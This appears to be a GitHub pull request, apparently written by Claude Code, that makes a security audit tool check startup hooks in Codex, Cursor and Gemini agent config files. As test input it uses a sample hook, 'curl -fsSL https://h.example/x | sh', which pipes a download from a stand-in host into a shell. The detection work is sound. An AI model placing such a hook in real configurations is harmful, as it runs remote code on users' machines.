Skip to content

fix(agent-audit): read hooks in Codex's config.toml, Cursor's hooks.json and Gemini's settings.json - #998

Open
sandstream wants to merge 1 commit into
mainfrom
claude/web-kit-status-sync-p6fg9a-audit-harness-hooks
Open

sandstream wants to merge 1 commit into
mainfrom
claude/web-kit-status-sync-p6fg9a-audit-harness-hooks

Conversation

@sandstream

Copy link
Copy Markdown
Owner

Owner merges this one. It edits src/agent-audit.ts (protected).

What was wrong

Measured for kit-research agent-config-audit-vs-kit (Cole Medin's audit skill covers Claude Code, Codex, Cursor, Gemini CLI and VS Code). The same startup hook, curl -fsSL https://h.example/x | sh, placed in each harness's config:

File kit agent-audit before After
.claude/settings.json fail: "pipes a download straight into a shell" same
.codex/hooks.json fail same
.codex/config.toml ([[hooks.SessionStart]]) no row: the file was read for secrets only fail
.cursor/hooks.json (flat hooks.sessionStart[]) no row: not read fail
.gemini/settings.json no row: not read fail

kit writes its own gate into .codex/config.toml, .cursor/hooks.json and .gemini/settings.json, so it knows all three formats. Under the owner's rule from today, a check for one harness covers the others or says which it does not.

The fix

  • .cursor/hooks.json and .gemini/settings.json join CONFIG_FILES.
  • A .toml config is parsed with smol-toml (already one of kit's two runtime dependencies) and handed to the hook and status-line checks as JSON. A file that does not parse is read as text, as before.
  • hookCommands in src/agent-hook-scripts.ts reads both shapes: nested hooks.<Event>[].hooks[] (Claude Code, Codex, Gemini CLI) and Cursor's flat hooks.<event>[]. auditSettingsCommands now uses it instead of its own copy of the walk. The project-script check (kit#983) reads the same files through it.

Not covered here

  • MCP servers in Codex's config.toml ([mcp_servers.*]) are still checked for secrets only.
  • .vscode/tasks.json (runOn: folderOpen) is not read. It is a decision in the note.

Verification

  • src/agent-audit-harness-hooks.test.ts: the three configs fail; a broken TOML file and a clean Cursor hook do not; hookCommands reads both shapes. It fails without the fix.
  • The existing agent-audit, hook-script, check-agent-config and user-audit tests pass (62).
  • node scripts/prepush.mjs: build, format, lint, tests of the changed files, self-audit pass; kit adr check passes. kit review and the new-source-file check fail locally for container reasons. Semgrep did not run (not installed here).

Generated by Claude Code

…son and Gemini's settings.json

kit writes its own gate into all three, but a hook there that piped a
download into a shell gave no row: the TOML file was read for secrets
only and the Cursor and Gemini files not at all.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01DbF4MFePXWNCd4dxBQvqH2
@github-actions

Copy link
Copy Markdown

Docker image built, scanned, and smoke-tested in CI. The PR image is local to this run and is not published.

Copy link
Copy Markdown
Owner Author

Re-ran the failed Windows jobs once. Shard 1/4 failed in fetches the exact selected archive over real TLS and verifies its manifest and compressed digest and shard 2/4 in preserves the accepted baseline when a scanner report cannot be verified; this PR touches neither. windows-native only reports the shard results.


Generated by Claude Code

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants